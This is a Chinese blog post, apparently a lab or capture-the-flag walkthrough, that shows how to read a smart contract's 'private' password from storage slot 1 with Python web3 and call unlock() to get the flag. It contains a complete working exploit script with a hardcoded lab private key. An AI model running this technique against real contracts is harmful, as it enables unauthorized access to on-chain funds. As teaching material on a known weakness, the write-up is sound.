• 某60区块链安全之不安全的随机数实战一


    区块链安全


    不安全的随机数实战一

    实验目的

    学会使用python3的web3模块
    学会以太坊不安全的随机数漏洞分析及利用

    实验环境

    Ubuntu18.04操作机

    实验工具

    python3

    实验原理

    由于所有以太坊节点在验证交易时,需要计算出相同的结果以达成共识,因此 EVM 本身无法实现真随机数的功能。至于伪随机数,其熵源也是只能是确定值。
    合约使用外界未知的私有变量参与随机数生成。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。可以使用区块链浏览器(如 etherscan)或者geth观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值,然后计算得到随机数。

    实验内容

    找到不安全的随机数漏洞并形成利用
    使用python3的web3模块远程利用漏洞并获取flag
    实验地址为nc ip 10003

    攻击过程

    获取合约地址和合约源代码
    nc ip 10003连接到题目,输入1,获取部署合约的game account及token
    在这里插入图片描述

    打开http://ip,输入上述分配的game account,点击Request获取eth
    在这里插入图片描述

    nc ip 10003连接到题目,输入2,获取部署合约的地址及new token
    在这里插入图片描述

    nc ip 10003连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
    在这里插入图片描述

    分析合约源代码漏洞

    题目要求把flag设置为true,分析合约代码,需要使合约余额为0
    在这里插入图片描述

    漏洞主要在于password是storage变量,存储在合约的storage空间,虽然变量类型设置为private,但区块链所有东西都是公开的,可以通过Web3的api获得私有变量password的值,然后调用unlock函数解锁flag。

    EXP利用

    password变量位于slot 1的位置,可以读取其值

    在这里插入图片描述

    可以看到password=0x000000000000000000000000000000000000000000004618a7a7ee551f3d9f8f,所以直接调用unlock(0x000000000000000000000000000000000000000000004618a7a7ee551f3d9f8f)即可

    编写exp,将这一过程自动化,下述contract_address的地址换成自己题目合约的地址

    from web3 import Web3, HTTPProvider
    from solcx import compile_source
    import time
    
    w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
    
    contract_address = "0x2b5Ed99637BEDAaB6b3B2018DAF32A841D98cb31"
    private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
    public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
    
    def generate_tx(chainID, to, data, value):
        txn = {
            'chainId': chainID,
            'from': Web3.toChecksumAddress(public),
            'to': to,
            'gasPrice': w3.eth.gasPrice,
            'gas': 3000000,
            'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
            'value': Web3.toWei(value, 'ether'),
            'data': data,
        }
        return txn
    
    def sign_and_send(txn):
        signed_txn = w3.eth.account.signTransaction(txn, private)
        txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
        txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
        print("txn_hash=", txn_hash)
        return txn_receipt
    
    password = w3.eth.get_storage_at(contract_address, 1).hex()
    print(password)
    
    data = Web3.keccak(text='unlock(uint256)').hex()[:10]
    data += password[2:].rjust(64,'0')
    
    txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
    txn_receipt = sign_and_send(txn)
    print(txn_receipt)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    在这里插入图片描述

    运行exp

    在这里插入图片描述

    nc ip 10003连接到题目,输入3,输入之前的new token,获取flag
    在这里插入图片描述

  • 相关阅读:
    Springboot毕设项目基于SpringBoot框架的阳光二手书籍管理系统y444i(java+VUE+Mybatis+Maven+Mysql)
    06_通信过程
    pr为什么要remove assign?
    Django笔记三十四之分页操作
    【网络安全的神秘世界】docker介绍及安装教程
    HAProxy的详解和使用
    Python图像处理丨三种实现图像形态学转化运算模式
    地表温度LST计算教程
    本地Pycharm连接远程服务器详细配置过程(直接在本地使用服务器显卡,很棒)
    windows查看端口占用和结束端口进程
  • 原文地址:https://blog.csdn.net/weixin_51387754/article/details/134467465